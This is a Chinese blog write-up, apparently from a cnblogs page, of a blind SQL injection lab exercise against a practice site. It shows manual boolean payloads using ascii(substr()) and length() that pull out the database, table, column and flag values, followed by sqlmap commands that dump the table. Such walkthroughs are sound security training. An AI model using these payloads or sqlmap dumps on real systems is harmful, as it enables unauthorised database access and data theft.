zoukankan      html  css  js  c++  java
  • sql 盲注理解

    徒手盲注

    image-20210705183330439

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(database())>11
    当为>12,显示错误
    所以数据库字符为12
    

    然后对数据库名字进行猜测

    第一个字符为

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1   and  ascii(substr(database(),1,1))=107
    第一个为k
    然后依次
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1   and  ascii(substr(database(),2,1))=97
    第二个为a
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1   and  ascii(substr(database(),3,1))=110
    第三个为n
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1   and  ascii(substr(database(),4,1))=119
    第四个为w
    

    综上所述

    得出总的

    kanwolongxia

    猜解表的个数

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
    

    3个

    表名称的长度

    # 1.查询列出当前连接数据库下的所有表名称
    select table_name from information_schema.tables where table_schema=database()
    # 2.列出当前连接数据库中的第1个表名称
    select table_name from information_schema.tables where table_schema=database() limit 0,1
    # 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
    substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
    # 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
    length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
    # 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
    1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10
    
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
    

    知道了表名为6位

    表名的猜测

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108
    

    猜的第一个表的字符为l

    然后依次探测

    loflag

    猜解表中的字段名

    # 判断[loflag表]中的字段数目
    (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
    # 判断在[loflag表]中是否存在某个字段(调整column_name取值进行尝试匹配)
    (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
        上面的这两个不行,试的时间太长,太搞人心态了
    # 猜解第i+1个字段的字符长度
    length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
    # 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
    ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
    

    看loflag表中的字段数目

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='loflag')=2
    

    2列,即两个字段

    看loflag表中的各个字段的名称

    通过猜测,但没有用

    试过了不行

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1
    然后列名字换不同的,发现还是不对
    

    然后猜字段位数

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  length(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1))=2
    第一个字段为2位
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  length(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1))=6
    第二个字段为6位
    

    然后字段的位数猜名字

    对那个5位的进行猜测

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1))=102
    知道了第一个为f
    然后依次可知
    l
    a
    g
    l
    o
    可得字段为flaglo
    

    loflag表中存在flaglo

    然后对字段的各行的值进行猜测

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  length(substr((select flaglo from loflag limit 0,1),1))=8
    可以知道loflag表中的字段flaglo的第一行的flaglo的字符数为8个
    查看下一个pass的就是
    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  length(substr((select flaglo from loflag limit 0,1),2))=7
    

    然后进行对字段为flaglo的一行的字符为8的数值进行猜测

    http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and  ascii(substr((select flaglo from loflag limit 0,1),1))=122
    依次得出对应的
    

    从而得出

    zKaQ-QQQ

    通过sqlmap跑

    查看数据库

    sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --dbs
    

    image-20210705211754180

    根据盲注,可知数据库为kanwolongxia

    查看当前数据库

    sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --current-db
    
    [20:47:28] [INFO] adjusting time delay to 1 second due to good response times
    kanwolongxia
    current database:    'kanwolongxia'
    [20:48:10] [INFO] fetched data logged to text files under 'C:Users27254.sqlmapoutputinjectx1.lab.aqlab.cn'
    
    [*] shutting down at 20:48:10
    

    当前数据库的表

    sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --tables -D kanwolongxia
    

    image-20210705212834082

    查看表里的内容

    sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --column -T loflag -D kanwolongxia
    

    image-20210705213312671

    得出来有两列,分别是Id和flaglo

    查看列的内容

    sqlmap.py -u http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 --dump -C Id,flaglo -T loflag -D kanwolongxia
    

    image-20210705213517644

    使用bp爆破

    dddd
    参考链接:我的博客

    别人都在不停的努力,自己又怎么会停
  • 相关阅读:
    Google Protocol Buffers学习
    C学习笔记-一些知识
    前端相关
    Spark笔记-gz压缩存储到HDFS【转】
    maven笔记-将本地jar包打包进可执行jar中
    Spark运行时错误与解决
    机器学习笔记
    Spark笔记-DataSet,DataFrame
    云平台各层解释
    linux笔记-多服务器同时执行相同命令
  • 原文地址:https://www.cnblogs.com/chenyouxiu/p/14974791.html
Copyright © 2011-2022 走看看